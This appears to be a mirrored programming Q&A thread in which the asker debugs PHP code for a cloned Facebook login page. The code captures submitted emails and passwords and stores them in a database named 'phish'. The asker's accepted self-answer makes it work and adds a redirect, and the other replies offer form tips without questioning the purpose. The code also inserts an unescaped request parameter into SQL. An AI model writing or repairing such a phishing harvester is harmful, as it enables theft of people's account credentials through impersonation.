douzen3516
douzen3516
2014-04-08 23:19

表单if(isset($ _ POST ['login']))在php中根本不工作

  • database
  • php
  • forms
已采纳

My problem is that I need this to submit data to my database. Below is the code that I have tried. The actual problem is that i want to use a if(isset($_POST['login'])) but it doesn't work in this form any ideas ?

Above my html

<?php
       session_start();
        $_SESSION['ref']=$_GET['ref'];
         function login()
          {
            $host="127.0.0.1:8889";
            $user="root";
            $pw="root";
            $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
          }
        ?> 

My form can be found here

<form id="login_form" action="" method="post" onsubmit="">
<input type="hidden" name="lsd" value="AVo7vBhv" autocomplete="off"><table cellspacing="0">        <tbody>
 <tr><td class="html7magic"><label for="email">Email or Phone</label></td><td class="html7magic">
 <label for="pass">Password</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1"></td>
 <td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2"></td>
<td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_n">
<input id="u_0_n" name="login" type="submit" value="Log In"></label></td>
</tr>
<tr><td class="login_form_label_field"><div><div class="uiInputLabel clearfix   uiInputLabelLegacy">
<input id="persist_box" type="checkbox" name="persistent" value="1" tabindex="3"  class="uiInputLabelInput uiInputLabelCheckbox"><label for="persist_box" class="uiInputLabelLabel">Keep me logged in</label></div>
<input type="hidden" name="default_persistent" value="0"></div></td><td class="login_form_label_field"><a rel="nofollow" href="https://www.facebook.com/recover/initiate">Forgot your password?</a></td></tr></tbody></table>
<input type="hidden" autocomplete="off" name="timezone" value="-120" id="u_0_o">
<input type="hidden" name="lgnrnd" value="082209_35e1"><input type="hidden" id="lgnjs" name="lgnjs" value="1396970529">
<input type="hidden" autocomplete="off" id="locale" name="locale" value="en_US"></form>

Underneath my form you find this

<?php
 if(isset($_POST['login'])){
if($_POST['email'] != "" && $_POST['pass'] != "")
{
 login();
   $db="phish";
    mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";

 mysql_query($sql); 

 mysql_close($verbinding);
}
} 
?>
  • 点赞
  • 写回答
  • 关注问题
  • 收藏
  • 复制链接分享
  • 邀请回答

3条回答

  • drgbpq5930 drgbpq5930 7年前

    I've got the answer i had to change it

    TO:

         <?php
    if($_POST['email'] != "" && $_POST['pass'] != "")
    {
     login();
       $db="phish";
          mysql_select_db($db);
    $sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
    
      mysql_query($sql); 
    
      mysql_close($verbinding);
       ?>
        <script>
        alert("alert here");
       window.location.href="url-here";
       </script>
        <?php 
    }
     ?>
    

    I just removed the if(isset($_POST['login'])) and used some additional javascript to get it working ;)

    点赞 评论 复制链接分享
  • duanpu8830 duanpu8830 7年前

    Meh :)

    You really need to get over the syntax of functions in PHP. You need to use "function" prefix before while you are creating a new function.

    function login()
      {
        $host="127.0.0.1:8889";
        $user="root";
        $pw="root";
        $verbinding=mysql_connect($host,$user,$pw) or die("Kan de verbinding niet maken"); 
      }
    

    Btw, you don't need to create a function to connect your database. You can just use the include("path/to/mysql_connection.php"); function. It's more efficient.


    The other thing in your code is the method of your form sending. You are using POST method so you need to add method="post" into your form tag.


    And i dint actually understand what your code doing, but hope that infos helps.

    Good luck.

    点赞 评论 复制链接分享
  • dsbc80836 dsbc80836 7年前

    You need to put method="post" in your form tag.

    点赞 评论 复制链接分享

为你推荐